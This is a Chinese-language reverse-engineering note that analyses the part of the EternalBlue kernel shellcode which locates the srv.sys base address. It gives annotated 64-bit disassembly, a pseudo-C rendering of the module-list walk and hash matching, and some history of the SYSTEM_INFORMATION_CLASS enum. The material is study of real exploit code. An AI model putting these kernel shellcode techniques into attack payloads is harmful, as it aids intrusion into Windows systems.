标题: kernel shellcode之寻找srv.sys基址 https://scz.617.cn/windows/201704171417.txt 以64-bits为例,这是Eternalblue所用代码: -------------------------------------------------------------------------- 000000000000062C 4C 8D 4D D0 lea r9, [rbp-30h] ; &ReturnLength 0000000000000630 4D 31 C0 xor r8, r8 0000000000000633 4C 89 C1 mov rcx, r8 ; SystemInformationLength=0 0000000000000636 44 89 45 D0 mov [rbp-30h], r8d 000000000000063A 4C 89 C2 mov rdx, r8 ; SystemInformation=NULL 000000000000063D B1 0B mov cl, 0Bh ; SystemInformationClass=SystemModuleInformation 000000000000063F FF D6 call rsi ; ZwQuerySystemInformation 0000000000000641 44 8B 45 D0 mov r8d, [rbp-30h] ; ReturnLength 0000000000000645 45 85 C0 test r8d, r8d 0000000000000648 0F 84 7F 01 00 00 jz error_7CD 000000000000064E 8B 55 D0 mov edx, [rbp-30h] ; NumberOfBytes=ReturnLength 0000000000000651 48 31 C9 xor rcx, rcx ; PoolType=NonPagedPool 0000000000000654 FF D7 call rdi ; ExAllocatePool 0000000000000656 48 85 C0 test rax, rax 0000000000000659 0F 84 6E 01 00 00 jz error_7CD 000000000000065F 48 89 C3 mov rbx, rax ; buf 0000000000000662 48 31 C9 xor rcx, rcx 0000000000000665 49 89 C9 mov r9, rcx ; NULL 0000000000000668 44 8B 45 D0 mov r8d, [rbp-30h] ; NumberOfBytes=ReturnLength 000000000000066C 48 89 C2 mov rdx, rax ; SystemInformation=buf 000000000000066F B1 0B mov cl, 0Bh ; SystemInformationClass=SystemModuleInformation 0000000000000671 FF D6 call rsi ; ZwQuerySystemInformation 0000000000000673 48 85 C0 test rax, rax 0000000000000676 0F 85 51 01 00 00 jnz error_7CD 000000000000067C 48 89 D8 mov rax, rbx ; buf 000000000000067F 48 2D F8 00 00 00 sub rax, 0F8h 0000000000000685 0000000000000685 loop_685: ; sizeof(RTL_PROCESS_MODULE_INFORMATION) 0000000000000685 48 05 28 01 00 00 add rax, 128h 000000000000068B 8B 55 D0 mov edx, [rbp-30h] 000000000000068E 81 EA 28 01 00 00 sub edx, 128h ; NumberOfBytes -= sizeof(RTL_PROCESS_MODULE_INFORMATION); 0000000000000694 0F 8C 33 01 00 00 jl error_7CD ; 为什么不用NumberOfModules? 000000000000069A 89 55 D0 mov [rbp-30h], edx 000000000000069D 50 push rax ; RTL_PROCESS_MODULE_INFORMATION.FullPathName 000000000000069E E8 3F 02 00 00 call Private_hash ; Private_hash( str ) 00000000000006A3 48 89 C2 mov rdx, rax ; hash= 00000000000006A6 58 pop rax 00000000000006A7 B9 FA 3C AD C2 mov ecx, 0C2AD3CFAh ; Private_hash( "\SystemRoot\System32\DRIVERS\srv.sys" ) 00000000000006AC 48 39 CA cmp rdx, rcx 00000000000006AF 74 0A jz short loc_6BB 00000000000006B1 B9 1A BD 4B 2B mov ecx, 2B4BBD1Ah ; 这个不知对应哪个str,难道某种OS上srv.sys换了名字? 00000000000006B6 48 39 CA cmp rdx, rcx 00000000000006B9 75 CA jnz short loop_685 00000000000006BB 00000000000006BB loc_6BB: ; ImageBase=srv.sys 00000000000006BB 48 8B 70 E8 mov rsi, [rax-18h] 00000000000006BF 48 89 D9 mov rcx, rbx ; buf 00000000000006C2 FF 55 E8 call qword ptr [rbp-18h] ; ExFreePool -------------------------------------------------------------------------- 下面给出上述汇编代码的伪C代码: -------------------------------------------------------------------------- typedef struct _RTL_PROCESS_MODULES { unsigned long long NumberOfModules; // +0x00 /* * 实际是Modules[NumberOfModules] */ RTL_PROCESS_MODULE_INFORMATION Modules[1]; // +0x08 } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef struct _RTL_PROCESS_MODULE_INFORMATION { PVOID Section; // +0x00 PVOID MappedBase; // +0x08 PVOID ImageBase; // +0x10 ULONG ImageSize; // +0x18 ULONG Flags; // +0x1c USHORT LoadOrderIndex; // +0x20 USHORT InitOrderIndex; // +0x22 USHORT LoadCount; // +0x24 /* * the offset in bytes to the filename part of the FullPathName from * the start of the FullPathName. */ USHORT OffsetToFileName; // +0x26 CHAR FullPathName[256]; // +0x28 // +0x128 } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &ReturnLength ); if ( 0 == ReturnLength ) { goto error; } if ( NULL == ( buf = ExAllocatePool( NonPagedPool, ReturnLength ) ) ) { goto error; } Status = ZwQuerySystemInformation( SystemModuleInformation, buf, ReturnLength, NULL ); if ( !NT_SUCCESS( Status ) ) { goto error; } Modules = ( ( PRTL_PROCESS_MODULES )buf )->Modules; /* * Eternalblue没有用NumberOfModules */ for ( i = 0; ; i++ ) { NumberOfBytes -= sizeof( RTL_PROCESS_MODULE_INFORMATION ); if ( NumberOfBytes < 0 ) { goto error; } hash = Private_hash( Modules[i].FullPathName ); /* * C2AD3CFA \SystemRoot\System32\DRIVERS\srv.sys * 2B4BBD1A 不知对应哪个str */ if ( 0xC2AD3CFA == hash || 0x2B4BBD1A == hash ) { break; } } /* end of for */ SrvBase = Modules[i].ImageBase; ExFreePool( buf ); -------------------------------------------------------------------------- 是有哪个OS的srv.sys不叫这个名字吗?或者不在这个位置: \SystemRoot\System32\DRIVERS\srv.sys 这玩意大小写敏感,NSA既然写了两个hash,肯定是有一种情况对应另一个hash,我 没试出来是啥。 kd> lmv m srv ... Image path: \SystemRoot\System32\DRIVERS\srv.sys Image name: srv.sys ... 小小地八卦一下SYSTEM_INFORMATION_CLASS这个枚举类型。 NtQuerySystemInformation function https://msdn.microsoft.com/en-us/library/windows/desktop/ms724509.aspx 微软在这里提到winternal.h,可以在SDK中找到,Visual Studio自带。这个.h中提 供了很少的一部分枚举值: typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS; winternal.h的出现是因为美国司法部强迫微软提供部分信息,因为微软在自己的产 品中使用了NtQuerySystemInformation(),这是一种不公平的竞争,违返了美国的反 垄断法。针对这些未文档化信息的逆向工程一直在继续,较早的代表作是 Gary Nebbett的《Windows NT/2000 Native API Reference》,当然现在就太多了, Google一搜一大把。